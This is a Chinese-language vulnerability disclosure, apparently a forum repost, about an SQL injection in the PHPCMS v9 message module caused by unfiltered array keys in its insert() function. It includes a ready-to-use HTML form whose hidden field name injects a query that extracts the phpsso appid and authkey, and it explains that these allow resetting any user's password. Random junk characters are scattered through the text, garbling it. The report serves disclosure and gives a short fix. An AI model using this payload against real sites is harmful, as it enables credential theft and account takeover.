|
|
简要描述:
- X2 C( h+ S; i4 h5 w7 W# \8 n% t& M9 _! x( ?: Q" S' u
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。) F" W( n# n; ]+ X& @" b" f7 b$ _
2 t, f% t9 t; z$ v& N5 W+ M明天再更新下一个漏洞。
! W2 \; @/ p' ]1 O S详细说明:. }- Z) q. X4 j# H4 W1 G' L
在/phpcms9/phpcms/modules/message/index.php中有代码如下:( ^* H5 c# ~# F2 B- n( [' w
, F# ~2 y# k! B) M$messageid = $this->message_db->insert($_POST['info'],true);
f; `" e6 Y) M2 B1 K
! f8 r6 ?0 ?. W
' Z2 K- m( j5 f" ?: F3 l& A! {insert方法是key value的,代码如下:3 l1 E- R% N5 \
5 y% ~+ Z4 x/ spublic function insert($data, $table, $return_insert_id = false, $replace = false) {
) n/ b4 u8 Y" W# P7 [. I if(!is_array( $data ) || $table == '' || count($data) == 0) {' d( |- g2 S, S6 A2 v; ?
return false;5 { P$ l& a1 l& A' V
}* G6 C+ ]# l3 T+ I- n
& `% [3 }% N& L9 R: l
$fielddata = array_keys($data);( d# W1 l7 E2 c7 E
$valuedata = array_values($data);+ W3 S5 B2 T* {# X
array_walk($fielddata, array($this, 'add_special_char'));; R+ y" ^1 G* U9 } Y
array_walk($valuedata, array($this, 'escape_string'));. D0 E' W8 B/ p9 E$ D! ]
( I# L& P% V- [6 T. G $field = implode (',', $fielddata);
: t0 l8 N( T+ N9 A $value = implode (',', $valuedata);
2 O( e, \ M4 O4 M; T3 u, ?
' S$ f0 |5 r% H) [: g$ l $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';9 I6 G* g. i( |8 k6 _; L+ O
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
9 Z- x( Y; ?3 [7 M' x $return = $this->execute($sql);
. D2 l: S& \' _, [ return $return_insert_id ? $this->insert_id() : $return;
/ ?9 ~* L" P) c/ b8 D& W }/ w8 N, u# _3 w$ U+ W. W- _
3 ^! t1 ?/ m* G: E3 j! r5 i6 O
/ A; W( p' g0 ^0 D3 d8 q! ]- {: v- Z
嗯,很遗憾的是
% b8 ]$ a, l8 q% C/ z) w. \; q3 m& }, Y( r% w- G4 t% ^5 `0 |
array_walk($fielddata, array($this, 'add_special_char'));
1 D3 H& F+ {$ V8 V0 Q; g' n! y/ F* N
( X% u! S1 P K
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
| t) V; b$ H) M2 b d
4 n+ M/ B8 M/ t: w' f. \到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。) v- L7 P( ^% V
; M' j% `" } S) f1 w漏洞证明:
- b2 p" W. W' S; j$ n0 ^5 J读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。( u& l/ u1 @) G6 C" b+ ?
( h" ~9 ?) X1 R3 j- Q! q* I/ |/ L* y$ T3 T' l1 p
表单如下:用户名什么的得自己改一改。$ ~" k" h1 M& T, o3 _1 J% c
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">+ B* @2 j% T: t2 X" `+ E, H. P
<table width="100%" cellspacing="0" class="table_form">+ W, p& R- N6 `! p+ L0 o) }' E$ v4 F
<tr>
+ n9 Z M' W, P6 b<th>标 题:</th>* |& u6 s5 c2 {6 U
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>6 Z) W) p& F' {6 Q
</tr> 3 t4 E" k1 [! }( J! k0 m
<tr>
$ D, `/ z& t% W" _0 D' q g<th>内 容:</th>
, V; @. t7 L! y1 O7 u<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
7 k: N, T; h) i( o' u T</tr>
5 s" k* d7 J1 a# |6 R+ C<input type="hidden" name="info[replyid]" value="2" /> : b; F% ]% J1 t9 ?8 H( `
<input type="hidden" name="info[send_to_id]" value="cc" />
2 t. c3 i( Q% u h+ ]<input type="hidden" name="info[send_from_id]" value="hh">
3 ]: Y, N/ A- @<!-- 漏洞的利用重点在这里开始 -->
7 _- l( I( t# r& m) v0 x<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
$ P- G0 X5 \" d; a<!-- 漏洞的利用重点在这里结束 -->) r9 h! ~/ C o' h: Q+ k
<tr># \4 Q$ y; J9 t: \0 d0 m
<th>验证码:</th>
3 S' |$ h5 L/ t7 S9 W<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
- {" S: u, q3 [+ r, ?2 \1 ]# Q0 r</tr>0 }' p" @ V# Z6 l) v
<tr>
) C, L* B! |5 }6 }- {% b<td></td>; }% b. n- B5 D* _8 v: ^* p
<td colspan="2"><label>
]6 {" r; h- C2 L4 X! ]9 M<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>2 S6 d6 j; Q) H2 V% I
</label></td>! J; J d! X4 j& T
</tr>
8 K% U! [ r4 j2 [1 ~8 E' a</table>
3 b) K8 F; J5 _; k</form>
8 M& [+ \# r! g9 v在add_special_char函数内对key做过滤就可以了。. P5 T8 Z8 H( x. A
6 O% I. {& ?6 ?% f' w3 R7 [& [& w& Z5 C2 e/ S1 h- L
. L0 T/ v( B% e8 V, g `8 V' Q |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|